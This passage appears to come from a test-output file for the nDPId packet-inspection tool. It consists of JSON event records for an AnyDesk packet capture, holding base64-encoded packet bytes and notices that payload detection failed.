3bUybOJzIcq5H8N0KAZJlXOd5pyPf0tDnSyj7GRE5C88NBltQcTpssukVoCRPEgEHbTbiZKVasdOktVuLgK2xUw09JU\/iQVdt65nSHxmN1XYdjIhCXxdvVXDpkLegWVan8zkUhyHq5zMk7MCS+Tju8rcpkBx1W\/4t6ANmBwULC65y4MXHuHzZEocaqTyJXhxJVWjgxjKyK2d0V2liZ\/3ay8ZFrC0bbWC4+bZsx0nF23mJSp6AOpm3HSYkD2q6NMJFUoDfNutnw8ZoOypWPIfoMK9N\/YQNbjNu4g14lllYgGhMEoSUCiNVIz82jlrhPKP2wgla6veE1lole\/22+mj8Wk+35ezjRCpCMucNWCdGWKaXXnZtM0z7HHJw2fGsKreBNNtgC\/gPYdDqKduyDr0jnNx\/dJ29atSpiedx6sIwlt4F42ZRJkiXHrnWs\/UOn3q9jQMaABOSK09OcH+RWSwoIV1Mttc8zieXF2igebQk+sp5sd4WaRjhMuYErCuVdRnUvqEBkcQnB\/qBcJox3GC4TM7CswEAQyaIkhJ0Z2K4WkJAky9lm3A9ERZE7ZqHR3SkiImix9WvrS7CliozgwXYB9sbWE6OMaaI+D7L\/nPo5QCXaHoCMrZnyu6tBvRh3paGs\/jNUr4Zs3oowlAoe1e46APiUgooD2AomPCpHOtpr3OCsftdNaWD4W+ATZMbAGAAcAUcYHE2hijmyorVwBCVXExnsJVdvtqkPGYnyxw544EE0ynFR46m1wAOLztm0LH+NDJEERC21DoCrCS+5t03xi1PNWO7G3X7Xl9ViFejY103j1vPnoiilOel8POKw49+tZT47R5pHjgoFFloaWoY2ezJMuNC2lO1HCgJ01idiV+fuNCJoRAuTV4Z8oUxXlELVnX1oGssW1ABgOJN1pgv65j2fMqKDLzKY\/gA89HqGAB5WUvSg2PBVASfJMV4HXjl14m6Q03vihGeU74f335iPs+pdQJ7DNUo\/fUAlEBC8cy0DyvtTnTZvRIwHVPqF6NopmKSD1b\/5gJf0Mv510xOE5UlUIUUdUStlQ+ouxYYu22UOAdZxrBQEXrjvR8wkIuHbPcwaHc88XIC3Qtm1rjZQrvkkuErjgLSMcq+YhfQvm3Zty+k3P04WvEGZmvoacF78\/HlE+sCAutlTmV9EC5By9lWhodzE123p2J2CByhs+4jiP4GAmjTSgsEJoYPJw124qOhImfdLRGwxbVro\/\/Z9p2PDeavoK2xQ6dEKAgnP5RNK4jEYLzlXtw2\/C+KQkx0IPEKVmBAHgDuojAQQJZTZYe0rnHb9pWgzWn2sXhR57u9\/cP+cUtGwnT5PUvtQX"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1044,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":4865} +07828{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1059,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":513887,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe7VAAIAGAADAqAG7wKgBstOUG56PIcYOWcQpIFAYIBOExAAAFwMDFXlZ4hNO+msVnB69ME5aYztWs\/MLX8GitiXh7dtLwhMj4O16nQFi0QxEsOB++nypv7VqhexH55D2rXRxliQNXDyRKzyWQ3ZN2MgWhFtso2YIT\/902w3YgyFCn7qiBnMUMO01oeZbIdQq76qhZ3+7SOLzDtiGl0umRUhelZo4094LwNszw8CQpy7a5MJbaYWbjLJ8UBl32Tsy\/0iKYr4qPTmBBqgNRyqIRMsmzswoTEknBbLroKI4PwO0qlzl62qbwQz2djrz2M\/hottMjvp6DcsId1Q1BLq460CB\/AKS76nAxiQUSR6MwiItEuUfUZQRc1KuTx4WUffqoyvwNm2L1Y6JDn8vg9\/8of10W4ReTxOIFwrdhsIKrraQCNnZAblsmEZACZ8fOBgc\/rJ2XoLpJxKHJVkE+UKU1iobSqUYoCTj0srPKwo\/GLaCxAKOEbVC\/OVk99hWbqLHs7sHJL5JZtAJucqV+cPu1Ffd9zSZ+l9q0vw7g7+fP\/K2DeW+AqZ1F5YgPpC84\/+DykNL5IaqEak+gKBCrP0DPmzt5gmF7bs6vk8n+kY1U2KgtX+ugcJOUad6XBHBV65d2PI5hLEzJYIUzp+oZ7GLvi\/f7q4K7bJIxMVrXeKGpRySoeXcPZYW4dUglUhzJJh98iY9eDGQoogzVbf6oMNnF8PQTHFYIoqLz3lbc2M+XAP9LhZBiUtD5564ArIEiPI7eiWUbGgmE04yLEnMWtjVgml+mqX2wrRy+qbmH4yjwAkj97E5\/aE8HqUl\/tJixoLwsjAvCRsjlesO3GQ8NHCrTN383+WGtV6n+9RVAE+iwUX4cMtlp73seApFWDcBWEhiyUy54PuCbJOdl+auve3Pd1jzxe3p7l+QH\/DsHvvdZLMWER9xpjfcBb3Y9bpmx2jhX0lTWbhCSFmekurZ8XmjogCzttG3Q2ePLn1P\/6xPWLfYS5dAh0xhdYp4BxATikbPeOWd5aowPEcXIwcYnPiC75SlK7aY9LYPDIoVLq3O8SUnzU4NqLnJRlhhtObkmLp8AQ62m\/0VrAdNvtbKrhkeXEwJuEc+FJRazQNVvdS5dh4kKdILR+hr0cwtpG4nEun2m28ezWZGTxzXxl6se\/\/B5gLt3HbH14fsyS0BMtCL5HSs7SXVN4BvkxDtUpZu7MDzlfRNcQqJwqgrtIxj\/jmRf4xnS8txsqr8fmO1EtHhTWBwmub68QmcceSzPBmMTuo5Bf41TFoPizTFWGJXDxATW6lutTq\/etJHsnDi8gmbx5Oio\/IO9ISM0KOkWKdBrJLSCdtyhEPjMieNmcF6iyO\/oKtZRwKW9UA4e75dx0j5\/4J5TRMzVPk4IDPXJJ0mWuRX\/TBbOApiGSsEKovnKnl7afIivoWm514if4vnbNEXmS5iXM7b5tcI1BGMHb1bXN2O48GJ0+\/1J47Y\/qVmd2EMAl+iAM7YskddscsZXmqg9mr+J3OMXLpWRDEQMZyI3ghhbEB6WH4p8Yoo7skDJy\/vnYBryhOPU\/G3eGZfNv\/8n7h5R0VZLUtXRCfmCo63hIqmMYBbtFyHvXHpZrsQ6HgiwxJJgfGWVitngN5c+Y8rKTwo4KbPLlQ37UXajBsNnGmtJdkDc+tfDGBJUZxjMG8Mu+3wQEi38\/\/KqPbPqdW5VxHhGAPzD7o891KGIim0AA1kZ5Sw\/W2AvLzEJgiKOOLcJ4Ce\/H9t9Frus9PpoYGJiiQkpmjqVBHJ0iWOCLISZ9WmKTSP9r816df5r4W\/yQV++tvhNKAon+qV2oMs34PwZKirRuxJ2v5UeCP71EIxQPhqhBss8\/0muCAiZxEtIjWwXD3ntyWW6s3sOrn8ZPgC3tBrZvR7blF+GBvMlyYPxCQ4ksL0sLJNEJ1rwfEksg1MPPMacpuXCN5DQcC7QH\/YJSQKhR2JRYanCishNGakZQcaydef2Pmr+L7KOLF3BX0yQQRsZas70rr0P5Vbbyb8re4\/ySBC3L21apKEtOvyTNzK5qNKN7yl+Dg8ACVW4IUMj2N02X3t\/P4jLQHC\/eDKmR8rB3hUb2nEM1L8iBpl1s+gRNvMxsadInmNMTgZ+qNFg72Yf\/stZ6j3DylchfnrtGVFUekOiJ9OzQ+bWAuic4cjf+doXFgs8xqGirDMNiOj2plBTjk8cV4O46QB59vECDmmUsCy5Tp9MTj8Kl+6BAQhiM1YhMKAxEMg8zK84w11BbNfJ+\/nB7K1+fTVT1cKmk3GVtqodz65v84ykb8IqBahn55m9FRrXhUSUZNHu9\/SFgyLRgH\/zpvuKpvLgPnZ+9NbWFgiPBoZY79uPEk3rhT24PNI5YSWAgXk6ItY6FekIUpt\/bt9DKJwXpQhR+sHgrfgaW7fnu94S5JqS3UZAD6NHsXsbXKdJlp+2k4trj65EOaw2E9pE7iqTNdke\/Yn4qfEaoL1jmr0JTrGh\/U0ov0sAoo3wc+lngtU9drBmHo+qn5oKlVR7hAlGvkaFYlrXg2Saj4ARpq7ZGumH3w66s1kv1rpCILgqb2DczeQMgWUXwN4e5jZ8QBpwEmzRjQtm4+RaA7fSrgcL3WBlzROwOr5f3I2fQHPHZu8shpDnsj\/4eYtVsbklcBRStVj4yFByvm21NIHrrFYqwMQJhOvdGP92yzOoHpCBj9FqcICUG9MlvoBNghYC4aTg3BgByH6oKOe3Lx8+ODS2O1ocuznjB\/R6v8qrskC+CjDPg6gRNZqI7QGY2jJZx\/Kb9Z24JZqs0Yx0Emmya1GG2FFpLuFo0HXAH3mTX+zA58MW4QVt9wbS9vEs3gqaQZX6DNC6Ma\/7tmr0Tfc1rfDgMWFd+SOJ4IaI5KLUb8oLuLlsC\/SgSWXtIebkuoqeL9HDRy3B4nh5jtON9CtleRw365VuOgkEyF2aMa0E14CosWAmJFQZ9wJU19HCTgdEM5JElWhzsY0CgD116jsDomPHpQOw0HtkWPAefQ6a+NXfujVwPng4a6syjvw4+NpwgtLyT2bK9f2HUxk2OPXsFJ+uZx8XeWv5EzzUjpDABRQe8uvArc1UykA8vvKZfC6oOuYvHUy2uqsRPc860dlTezCukgXg8DvfBlXEj8x3C5m\/F0U2UtPXj0Rmomls\/1JZM\/iitfdotWfA21I7kcDx8o20gBGhDVNIHlByIwMetGbue0OBuWvow3R4UgOfw4LxA+SRdxQaivKX6VqzDxmA4LfsJy2XuwoL5eemcxGKDUTlW9qlI\/Bsj2h4jWZ8NeqnVlYPYltM0kKgM3U1Hk+rxmczBwW6YEWIM0D1hMm5C4nkG7XRXPgU1rNji7dA5wLP1ld6xWRhFdmsCHdw479DoOw4USm1AV5mbCMr5LJHwuJrUmBS580EGqEmay5KiGBrvtRg4WMuUYa35NZEgmOnnokDbm1fP270j4KO+3XlBciYAubtBC1v646QksY\/o5JsnYwFTY9eB+g8ALQNN\/0Aly0RtVk2e9GA+twO9uER2ssEdZqQhbJ3qZ1kxxNOuyP873mTVmX8qR8q8IQSL9wlcrRqciink0hhqNxiuKirr3GUcKu8Zm+ON7FKOOtilKVa1vUTPcgAzwxfUSOM9qNfj+cuEYN6tMtMZGuVjFtzc4c9rTtCRHMyfvpQmbY9U3Oh1Uk2nuwLHdL3oTi+Sq4k6rUVOoPJ8m3VRORBCAlip5m6YYm5lrJC9tDuDiPsxbzQN7VJCJWRalNa01WSjtbObPPUR2cJXXrOY+HqHRSZJ1LASsydw6cnNVVX5\/26NpG6ZDlkw1woMa23HLIJpghwrFO3hS3jHOpD19R58iXjuJ7tpst249hKakq9Uww6GYYZDDlszlZTUx0NMPTTGCEaPFG\/1xl\/X7dEAZsfHvwF8HFzVYDPndAjd\/Qa+j6a\/WZF3Ml2J07uzy4NGJ1iRtJQfK33O4ngIzoMxeMPeawGImhX+3mGu7e7zXEafG8yiBepNC\/obAwrNbwIAwEZCKY7uxUaqserEYwJwj5RyElGoqWJCcDqgAM5d1hLHYGN6aNaEWqMdClvvBHz4LMsxq\/LeYNmv+6LA5jZ7yhHcjK425zSIe5wCVmw6JdyqSN8ch9\/BMiFx5eQ3AInbvJZSODXbV4bPai8EAWQlo\/Naa2yBIATl76O3cTotj8\/64Sxn\/wvwHDyCbQA88Sv0D94P5tyK6r2RibgaIpLQo84N+CX1CcFjKSmBiYoDOx8cKziXND+71yW5jjVpAzzHJjh\/bSEVsYKKzcJf24\/D5oGPKnV07\/lmorLZ9mJJDhTjPXqUTObqz2uuulsCZt11PvJ2e8sjy5nuqYmExMBEswjqlRgJoH\/VlmJplQ14HsalNusYr683ePOJtlkL9lfnzl5bDw3sat430GnYd7GvEm6d4taNVLVYxXcE4SoUJYIZvKelk0MgGfzSH93s5ROdJXTFBOF7s8DiBrkw6Ky8GNrx3\/Dpy7\/GfAAP1Hp3QbpPYu6IyYO59jdTfBo9z9EKxw4aypUYppJXudSxOehLkQ5hOXzu2LDTA2etN5nTVEbBfE\/vxSr9vQ0fyL\/ELkOXNisKe2Qg8Viik1uEtKyuzLOGFPJc3H40qgzzXTJ8gY+r13hXocxe25207JzzNXZeT1V\/m78khxzqFDshFQ8sudUy06mPzvfqSa+rwV0w8isqg28I8Xe\/KcFMBFuONsdvNKhGvQxbFTiqoVbB78wYC5uP2SOH7cPWTtZQwQGiLOwrn91qpa4eqxkA8E4wKbDwYagiPIq6SeoKbcgd77OL7vwic74YjlTfUwus37RPjP8yqYHwNIpOpuuUT46fDV5aukkYGlokEVbEpakNXLDXFIej2ImA16Xi6nwHmCxKxQtJ+kmrghV3+84HtT4qi\/Zlb0m3WBh0PECHMYog9xXIEDoGzG2MGdq18Rx6bd706mwvlC9Hl4TqwHzP3WWLjLkrSpnUHPpN8ak4qYjMLTT1ITY2udE6xItiY1aE22SRYpzBbJ4Zj9VRozjlUkjR3qeWP4aP+6TsigOqWSkdU0BA1qXFZfM5y58\/A5pep+0oRit4baCr69fx55I60qq1JrdLvXtPR8aRFVimxj7QA3zPjd73GkEnMmN9nqit4\/dz9x69JQ6mZjOo2V3ui8ToHCtu2rgwvfloVRmX\/fJQ6tmqKcifbbQYjAbPaZRcsGXwzW9sXpU9NUcauSwiN6+LmBTZidC\/qr0JQu9D1qOzu8CVLn0B1YvuU6x3hpvqauEwaH2wXi965NQ2yeVCbs6eJGbQAxW\/aHIxahn1ChvS6wU1syRupG4FrGDFd4b76voaoGNo\/1O0GzSbyoPL+vFAydTLJUGxc4Q7IQfYLN+skqNPf6clh1IaADXxc7jS5LC6RWCyxeWT28QWDazDXXmEXPvhYGtNoeXVM9JSUTLgNv6Ni\/RA9lXFDWUACxuhZLWo45UKO8io++gnAvasfy\/pwq1Ue6l6zdxyb3If62QvR8bCA6iokYQDuDGBx9gEUm2POR0e3hWWP4KJRRHqxLYPwCmFpgydx1+GT0eiQq2pu+sY506eQcdqld0O6Efe+SrRKQURHvUgXyChxLt3vgG0mVK5f1TnfP9CQ9xCTSBNBYG46B7IUASICb91UEZv3d\/djBkIIU77BYhEh+FuXpfQsWLXEjc+iIhJWt+joPQdLnxhsBTkilqDwjbZSQdiRkB05+B\/wRRuHqqq6OSBHSCgZ0Ne+HgYltXOyc4CZvGqNHO1Xu+65Eb4L0MJmlkFniLLwHtCEhiArvtPVD+BAXqjzhPPT843ssHylkU4UF4k8UbLjoJLQ\/GdVyEC8u0\/qMcFm+i+Ks0Z2u9phApHihIRo054YqdKFw36ZIBPBdZvSV9OUOZNXmocCDz8DxZ8HIx3Y70qeNyEfKq2igGiDciXska0Oa5Ny\/LgchX\/sPvZl88NqFzW1g39exCVs8qGeitKInZxAoQNO7iysLfM1FnUv7jIRSvxrD2\/xD6kD47XDjbE8QvI7iiMeI3qiIZFX7vH8W+YJJZrcXG8a2bOsrO9lH56x0\/OqpBLg4ZWdce0oyv+pYfHnfe7lqY8Zx7piRKV0jvGF5+nycgOdj6gjz\/7DYGKdt2klQpI3kR82FMCljLlcBy6hbzd8FVebGn19ZJC6\/iYUfvEn8CJ6PGSUe3xnzlHt3HnrPM8fgPhfEuZTKjFouSej\/BkiEQ49hS+dl8RaJGRDbgdZz\/lHOMk6n4Gp5gDA1jUrYepkGWjqmTfuwGcIXBxQ8jPOtUKalZPxo935qWwaDTs9cZAbT+vKpxgA9Rue5mz9A1MC9ZZF5D3Nda6DQNcoZBtZRlLQnQy9DmIfivLtOuQzybW+6o8tt6OxPXjWPa8CnGLMky+YPdQTNu5zXpK4J1n4JiMl9dp9CnbVqb1o0eMimdQtuaN\/ix96jBgGoU94NWqSs8IMoMln0UOWYIH6BTlmgulXO8vcGAKlyhS7JLUA\/UfDFtf7cTV3LAXDuxkRCJVzISQrPXsR9JXr9UqXTV3ka641U7LGz+vGYcZLu2UgnJdve1opWwSjaLEFk8GnNWrI3bW6qtMVaaudQRHq\/IfZJAefYJhef9Jp4CKrr92yb7ucj8vqtkOVnGgrTGIbmABuvBAVaum2OHKlg99Eg+1HhntYXT\/87jxv0Idj9cUrF2ae23LR+2HLjx7Q7+GPOvm0ZnKZefyVASHPO\/Xy7iNUaU5R+u\/YKEwCFsupoUTGRTCRnqRDB8y4uhNAsHA19ay37dab0vPe4+qi9DATavLS3yVs+TVqfK\/449BpjJs877A7heIVp1O\/mu9HInvvBuf63sI9ZXSyxOCZGOEzD1Q7W+cvNOiPC8Z0nDgqvb3+cKwg29d0FifTMQJ3QuOOKKo9k4rbOHHd2CZW67s1DJ3zAhQrPy+zEBhgBOqVIGlny6U73g2LudQRm4qZaPF4s7rOI+XqpQcsxLGKrjdmx8CEmjdqInCUEYE8sm2LfO17GnIvWbahuLBx5kYQ8iyaX15du56\/ERO99QnGRcoTuGhfUQw6cLlgi30PkEtw2kkgs6e01y6XMO2avGcyJRBgmxn2zPXVpNItdEu2BORKyTKhp+1r5YcTC\/rB9xpeEcEQ8gUryU5GLbRN\/Zon5382CHIoHySdzl7tQNEKilyhj8yZClsCmoGfOakuBOxVi+BGRU8JzP5vWSQZfR\/HBRaQBTAHths6XCJTeycjutNPPowZ7Hqbdf4mpmSLSDDj\/bnCgrReMwjRuq4lsxf3WnzXtHyU146OjhlNCTOwEN3uLnuEv74jSlQjoOfNQrXI\/ywIjcwM85IMGh1kYkXmFeIDYOoYQMP2pZmWdV4GdwYMUqOLGsO3vrR0ogq6wgs8\/"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1059,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +07826{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1060,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":513918,"pkt_caplen":5554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5554,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAe7lAAIAGAADAqAG7wKgBstOUG56PIduMWcQpIFAYIBOExAAAFwMDFXdZ4hNO+msVnfkz6Xn9fMhYTlwf8ko2SMVcdIwSnjEsHsUfVAl5Q7jY4g6p\/tyb\/dTOAe2gxLobxykrbdrLa7sVFgalvKfCAAknbjzL3fgINH3htSYfoM0ZzlHVzVUTZ6VzdMsrVqeyjPdoB70wKJQyXxwu2Iu9WrgYgpyzRUILLLl19vbk7DcfYuD1YFVEsbHzmWNfdORlrtlfX8\/RTVjTqay+OwQpR\/TB5xkngaMB5vmSJd+pSnNTmSJj7HMfdAQoHOb44wAE2K1UQ3VWwYYb044mJkxHcHg49qqACbBp\/IZXIDv9eAqipWs4VkWOy6OeZaApgpzEpuP8ZFNBR+CD9fZVQHJ50r+5ByLaRiQgNgFxchUiICjq9dRO3RhNxjKMceqgtgny5G5GqsW8KfUElKZ9EOb3kTccUwW7u+6UUSD3YcMTHZYil7nwJxHemgatzp81YBJqVyQcLoT7tQ6hvmGjFUVLdnjYaa0tlS7cKhM8TOlL5aEgjq\/xACl2wtZXRgIHUDtaB9gLPn3O6CAEDcEqxXS\/a\/5nUazm5EnAlivxl\/No6QRR59HS9Cqxy7LdaOUhnRLrOAI6cHNsIKpjEl6IbHtV08FRxuqKYG9kf9BbfvIwEnRVZlsg1QQ0EQ3b8QQTf\/VG1q1F85rJH7jJbTn21Bxg4eRRDhRM4wyFB790f4GpU\/kwW3PCu5jMp\/n4if6j7ZZQuQEKEdl0xpXoNiI9QKGE+WCDGPea9wQt9wH8\/rhKjaFJOC89TxiriRngZs5uoi5gRFujfGCGQRaXUlosWEBtokYB4LAeoJVjW6L5s3ElFlnmv\/O4OOMtCLODpOhGSFXhvVxzuNW1D\/WmZmIJvhi12eSd3DhLS87jKBJDlo8KwIhy5XhMYwoXWiVclqJqCO5B2Y4mOPjxx5i4q+RmBRlM0PUSy1bj3jdBiHXXT3U6Kl9q6Evw4ByKIW8JYVBK8d0sAt\/jE4toShkVWIq2rYmyX8d7dWepznKmhXXG2veM92Rg70\/KoOg\/TNrI\/F+aIIu36wyXcrTbTwIP3LIBuQJd6U\/ZNW0r6YpaP5c7d1SGBijt4Eya2F4fjuBea2q2Sed5SyjCmyP+J+2oPQwUhj\/1UklsGavoRoF7Hh5kWBRI4aAwXbmyRVyRdnBDpSSNWA19erz1ftvQnsk6UL7sND3qc6ahpGQ7YcAPNx72ZnYZKCD6s1dbMiWVFjn2SX4H+hkgQdf2K1itYFt6\/8KOEcYryA9LD7uuievYk3TivV7er515nswvT6MFZAcM3UlNPGJGJPDGYXVda9KkicLxFhcFfj6MIorFISlRtYbByuUAg8Fjkf2hvPAAGN8hdvDNlw7KjAmAfPa5CdYIVW8dkxFISZ8qN9n8bQLJchrBbW80ySdKBc4IDPwTQW0B55pHVpnwS50HkiRl5JwSrmO1IemeckKQO9XYlJ+k9Ont5eua6V\/ygzqwIkx8FHlsU60SYgPG1PbfoZEcdyKPNM3dmhbglQXU5pADzh+lGbNZX8f91UxvmGu+sExp+2hJ4Tg\/d1HmMcOmFQ6MX8rM1FUQV6JyARufX6yPJGJt+Kva0nC247NXXle6pRQqhdpssy6ngMeF1zqHA+x+zPqUU4IxD2j4lucO5\/x\/TOlICPfaqIU1ANRTJUMIqHIsdb9l5TajHSPGi4odRPRt+bY8lcuT5srRzi2WVW2rvZRRU3HpawX0kB3FmCy8Uz9vH+MFN+LVzovESEUuJaQr\/OgduzELuf40YHMmhxWILZhuVgUKje+qrsz89N9ROsogu8z0\/fMj9RVY7YEHyVqNJ8PFLg80IrBcAjIt6LwvlRpcD9+qvdYq3az+v3GJ7FxpeVlZFaAvn\/yJ5Zc\/kzOBfDY9ta26w+LBtiel6N+CIvlrs6fCK+ISGpiY\/6JDFUrTaq0IIZe2HBqmJ5cKiaZ0qN9HIxnGkh\/wOPs+Tvc6OjykZSHgNVd44waJQnoA20117iNDv6xNMT+WUKj3dWLFpKYKvAgAyCoSUutM82ECqLIfl4Spi8cwr3jj0M5mKqBFyhv\/Xy3Rwb92Yu06mNkpwiJFtEMsl031dZfDv5KogmTwVkqGcWNjgCm0pG8sNkMjQuKOrCBMROz5LbnThlhoNVR6IIRd5uTGb8P\/9DvuAHZ7dwdcdhZrHz\/ka4hBkBciBDkmTzerU9nS5gSo5uAg1xRtmJrEfBHt4sdBZ1jNzBqx4KN3rdnc0IROQd5Z6oWs9pTxm20JSYkoV24Cys1adGMAo75dEfMSc+2pIF9kPjhUZ\/BnpPYYONhgAg9nPbsiHyhLpAI5MLvMEQNubaxuNjX0B2aSmvSZ\/s9g9sxzR+cQRQqJeB6NRyf04LKYxjEAa086BJODXwzD7I7qbgNuyVdJKg30z6WYZMy0L3PHMMNR\/uSNRtPzZleDV83G9CwUhUNO\/Rz04tuHCogBZ4AUD0MYreb9YFTFewoOetJ0flyqG6GD5NpZyWu+lchwGclMPwBepAay14EZekHmzQvBTdTBKDJN6HBXvGY2bX1Ajibln8T\/py5ueB\/fOdD5itio2Mm4NMba4Qp6GqzDkVnVoCv3ARQsEjmE42eFd6JTcRT2psnB\/ffdIDcinis6w9nK8kFPheNEdPvqKV20LWBxbOsvrRktg2dSn1bE4wcbj0apIbRHDGQq2rN5v9FCMVjv\/3K6F0iVES62Updmj9VyKwOIZFEXPS7bsp2tthyl0\/fZxx8WV+laqky\/yO9\/GJTlUl\/BOBvIlzbdg8p5+nP7McSkU18DevZPQ5G28uHPfAa1kO+SFX9N\/x0mzf4vuStffmsNaa5r9Yu4he0kjG0A8yGTPHVXi0qEmKAVgseJ8UFkvpK1Jlh\/pbtSVSH19Vbobv+JqIRXKY5rBkCbtUBlrdYbfV79q4cMxpVqe7XUlfU+SK8grTBDJKDZX8aoOeBQRcw3mvHKuqvDogosFGIYc1+IqYo\/aFx2ig9K9xbccgs7TjdIKU+Ie2puSJu68Hm0dPmeVG5QTQEAZRc2VX9vvjEEN+PGuruqQVSOkFMrDiCgbqEdRyYcD+YlJY5rFRnF3AdFFIKu74+t9MWeF7oSvTLuHCNje3RbWzqMJczJNvbqRdo57wG2WD8q3PxR1mFaacAj+td3prB6vyFWWgSfXuuxAzLDp+\/a62EAYZNA\/P9043PElD9QbocJc7AcuyHLQzyKaX64IfmO7kMp022uxCZoav25JePIO++bKmZQW97YX49L7dm5xS3Vc4Fz3MBOPmPPdCC2ofNkTqLuIupNPhm0GhOfxO3xydolPaf+Q2DZTPrY4oGb+seqOqQS+wSRJ9cqIjygL1QoR5ZevOoY8qwHS\/0sd6H8Y3QYKg1iDklM31tPccg0U6J0a2KEHw6AM2e6d2DwRfvkiGwrDMFv0f8o9tWh\/Fo9OrbHQUpymro5MJ2IgK9oYHelDN8Ci3VN\/h2XjEluEMZYXggWKXfOcPbJoyMeTl\/EUCIbPHv9y4J3kUq\/JAu7wUfVY+z9WgorwchSrRM4D\/uvFhJ9t9gm7HM5fAQf86uAVCK3OJZMFIJKJUEn+ajC\/tln1jKjSlJfCtGJ63sTRd3xVMg9jA2KNupErMG6fGDOjAtVnasfcBLKIzcpGGxSRWQWsmRLYqXIsbkMOT06btp\/xHU9nVCc9gGLcfllz3kccKxHw1XqvfZ2mPTy4+IRa2GfpWeXoY180gnKvLEOOnLQXkDH\/90dyf557VQRRkvIVeWqpSd1kERVGsVBqKXKFnPeYPpUWeh\/yKdzNpdgItccxOMv8akZdgR6cCCG8\/TN8cym1p9wxW9weeFpjvCSaqReWO\/kTRlbO\/6BinPEB7SRCT+ItrfBbMazfKOC8+w4MZt6PHb7TQd5upF0WkHXV\/NdH9XCKsZ4On0OCzPaN8c0Nfz5kFssPB4tkK7ftkW0sQjgaTSP7qaaWX1M6aOe5Bg2k+F+vX+YCrCnB5vgn7AaErFhhxJleEVhJFd2lfcrO1INY7BQx5ghRA5\/A+u88oZnUWalEExInkY7u4lG5\/4GqjNLa6TuqQbLBtGiknGZAKpUJzNXYRkiROaDh8sCG0IBWTIV\/rNcRADFvOdjZZbt4Eovqfm5FDrspMm71H9BiHw8gX5Oqi4VngFYaAN6VG\/2uALiLjcIhV4+NK0yRUKFejvkXLOwJBqPtagKdiYtWPjoMr8jPwoW1CojAPdOVPDd6K9swjQQqZd2EFAiW0rknJW35+OwEBK1zpHJlQRmZ4FxQ1kaGzkKZAhHsH8\/23\/RwBHxkh4bfYQQhNIgxmiNf6Bae1rCiuGDDav\/SLws4LsbvH777AgTqALLiIBvdVTfYPXUo01QIttNxK6\/+OD7iUDOScvUSNV7az2cvC3CAgj7NBE0ARbkjivGg80eNDx8M8yJjHAK+X9hyh10rS9AHQYGlSN\/UN5xxqtDxK5zpaREKvBU9JWNzGyyL5hQN\/D560EbLxbhESzgH+3CKohXdfzLLokv7W+rWPZlHShun+NY1i6c2PsVKpHfTXn0dYdy1qVyuyNxCxdEOY9U5ji+l9B0s+e3eXVBMvpMM+d0LLj7GY1YyFl3LpRKk2CyQhDsrnXMRwnml9KPBKzNYx9xQvXfRbtDxNsxLI8\/\/vrOYjU2QuCS2klRRpkQ49UaWagiG+9BV\/GjflxISTsc8I6kiMaf7nbcFjmGoumCEdLMCIRX+1hfMpNSojlypc0fQGOlPQYMFynSPb5d4psmX6Al2XYdAx4PdkVhxQX1pupLp3\/AxHYbk2r8rKt4zT5xWnNlmUg2sBiaMiDc9bEAIUlieh4unfWjqtDhXkF4dp0Riq4AyEQqR2fBXlYASQWx2p\/JpVvEFyigdn25Td4S8M5CuhYGVp+7K99Cuw3TP+iqpHpRHmjX4ghAmPhfyCxgti11SWmDLkJpnR1fbFhkMGh8kpp8wKmxSFdDWp4Jv25wrSyvHocKkg0s4zdn3mrUKm6l8GbXRgnFmf\/TksRw8ONbqDjV28tRQDyuySljC15SJ8hJiN2\/Yw4P6RAYwBuOPG4xC4VfdWGSdHwVj1q\/7rEH0laag19cY7Qr+Bxca76rODQV+SsGx9eC2AFADcKj5eCTEzWkWzOU+v1VPWCwO7R+Z1CgZ\/0VoNuvxXx2jOBmJlUDDbekP2jjHufTHRptrT1sL2DmgYWZSN9jHW5wJvsFDe+\/Jh6SVTY3\/C9b3dltNqcoeU1xtxhZC8rjWJMbg39CXHq20p7SXsGtGydWYQFQTfj\/etvUtncFXQEEqlJ2DJKhKUq92hPH4eLBYV+9FH5+FWYPiWAauQ5GLvNrVxrwPQNrZ1l9qfFVVe+bOptVImKwczrCmxDUkMO0\/DqHW\/JTJJiSn\/ADKCcdXfXl39JZ3kPMeVMg\/NPk1l0JZMAABp0LU6NKagxvTeMQtM9S602c+7XsbJ0qiqn\/bW6kR7p+ICAQi++rajwVzkqE7zhhaH\/WBWT5GDi5m3MN7B+39hoU4Tgs9SQifHEtsD6GF8C6EYZMGMjTOer0KmI06z1CWgRckl252j4ug81y7xsqvi\/TJWMgrBiBYUS3spGgHUUTvbQLUy63C08s2qv699hFz+aM9O7yH47g8Azc+yyFUR5wXuTSfHM3n17L1wgXhAmFArzHACocsC8GCKjktObz9Vy7ywu008n3iLF7iL6o4qJARwNLfX48rK6Omnwp3KT+41u6gNeFJXi6lMygy2wgvI34BMuJGmY2HJntK5FRRk65KLOxepNOwhvrjqfcmcw6N+2umV9\/XAS0Vb\/eWx82UO9FPLhWg7FMWDakkc1ZIvGcjCAs4LN\/gEBQC94k2mYzhX8LN46znsyYOfal4EeJKVuwBY1SPJuOAsvvYVmCzK65kqzCf0VAChahnbGsJ6lGz8nk6WtNPYaJsWpCOKBf9+rR32X5ydiZY+ctrGn5khTzG3epX\/mnZ6szdnIWFOiGu7SCV0sL\/yUJBhteXbECfxZhHL4sXa6pS0iOzwSbgleCIVAQG0YTMJa0dFA3dRiG4HUY8ZW36Tk4oY8+ELKqNUaPs6zTQ0Aeci5Kud4i3C+0uxhuVQ81ELgbeaNpT9sQnduuP31jRcEZSVIwC3epLlgObyRYmsLIvlOtWKfztpIC+klRobCHXzMKDTFXYb15rKYUmw1PNNWgcLVeLZvk0nGaPBejLJZgpS